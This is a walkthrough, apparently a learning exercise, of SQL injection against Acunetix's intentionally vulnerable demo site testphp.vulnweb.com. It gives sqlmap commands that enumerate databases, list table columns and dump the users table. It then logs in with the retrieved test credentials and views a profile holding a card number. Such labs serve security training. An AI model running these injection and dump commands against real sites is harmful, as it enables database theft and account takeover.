

```

1 At first I used the command, sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs
2 Using this command I was able to get the names of available databases of this website. Which were Acuart and information_schema.
3 I only need to see acurat because information_schema only have the information regarding tables and files by default for database.
4 [02:38:35] [INFO] fetching database names
5 available databases [2]:
6 [*] acuart
7 [*] information_schema
8
9 Then I accessed acuart db and checked it coloumns nad their data types.
10 sqlmap -u http://testphp.vulnweb.com/listproducts.php?cat=1 -D acuart --columns
11 I got the following result:
12 Database: acuart
13 Table: pictures
14 [8 columns]
15 +-----+-----+
16 | Column | Type |
17 +-----+-----+
18 | a_id   | int  |
19 | cat_id | int  |
20 | img    | varchar(50) |
21 | pic_id | int  |
22 | plong  | text |
23 | price  | int  |
24 | pshort | mediumtext |
25 | title  | varchar(100) |
26 +-----+-----+
27
28 Database: acuart
29 Table: categ
30 [3 columns]
31 +-----+-----+
32 | Column | Type |
33 +-----+-----+
34 | cat_id | int  |
35 | cdesc  | tinytext |
36 | cname  | varchar(50) |
37 +-----+-----+
38
39 Database: acuart
40 Table: users
41 [8 columns]
42 +-----+-----+
43 | Column | Type |
44 +-----+-----+
45 | address | mediumtext |
46 | cart    | varchar(100) |
47 | cc      | varchar(100) |
48 | email   | varchar(100) |
49 | name    | varchar(100) |
50 | pass    | varchar(100) |
51 | phone   | varchar(100) |
52 | uname   | varchar(100) |
53 +-----+-----+
54
55 Database: acuart
56 Table: products
57 [5 columns]
58 +-----+-----+
59 | Column | Type |
60 +-----+-----+
61 | description | text |
62 | id          | int unsigned |
63 | name        | text |
64 | price       | int unsigned |
65 | rewrittename | text |
66 +-----+-----+
67
68 Database: acuart
69 Table: guestbook
70 [3 columns]
71 +-----+-----+
72 | Column | Type |
73 +-----+-----+
74 | mesaj   | text |
75 | sender  | varchar(150) |
76 | senttime | int  |
77 +-----+-----+

```

```

79 Database: acuart
80 Table: featured
81 [2 columns]
82 +-----+-----+
83 | Column | Type |
84 +-----+-----+
85 | feature_text | text |
86 | pic_id      | int  |
87 +-----+-----+
88
89 Database: acuart
90 Table: carts
91 [3 columns]
92 +-----+-----+
93 | Column | Type |
94 +-----+-----+
95 | cart_id | varchar(100) |
96 | item    | int  |
97 | price   | int  |
98 +-----+-----+
99
100 Database: acuart
101 Table: artists
102 [3 columns]
103 +-----+-----+
104 | Column | Type |
105 +-----+-----+
106 | adesc   | text |
107 | aname   | varchar(50) |
108 | artist_id | int  |
109 +-----+-----+

```

Users table looks good to me because I want to log in to the website using registered username and password.

Then I used the following command to fetch the information of users table.

```
sqlmap http://testphp.vulnweb.com/login.php --forms -D acuart -T users --batch --dump
```

Database: acuart


Table: users

[1 entry]

cc	card	name	pass	email	phone	uname	address
1234-5678-2300-902000	4d9c261fb33c2a0870ebcd3d66b9b8c9	aZX	test	email@email.com	2323345	test	nessus_was_textnse490rs

Now, I have got the the username and password of the user which is test,test.

I was able to login to the website using the username and password above.



TEST and Demonstration site for **Acunetix Web Vulnerability Scanner**

[home](#) | [categories](#) | [artists](#) | [disclaimer](#) | [your cart](#) | [guestbook](#) | [AJAX Demo](#) [Logout test](#)

search art

go

[Browse categories](#)

[Browse artists](#)

[Your cart](#)

[Signup](#)

[Your profile](#)

[Our guestbook](#)

[AJAX Demo](#)

Links

[Security art](#)

[PHP scanner](#)

[PHP vuln help](#)

[Fractal Explorer](#)

John Smith (test)

On this page you can visualize or edit you user information.

Name:	<input type="text" value="John Smith"/>
Credit card number:	<input type="text" value="1234-5678-2300-9000"/>
E-Mail:	<input type="text" value="email@email.com"/>
Phone number:	<input type="text" value="2323345"/>
Address:	<div><input type="text" value="21 street"/></div>

update

You have 4 items in your cart. You visualize you cart [here](#).

Now, I can see his record, name, credit card number, email, phone number and address.

I can even change this and update it.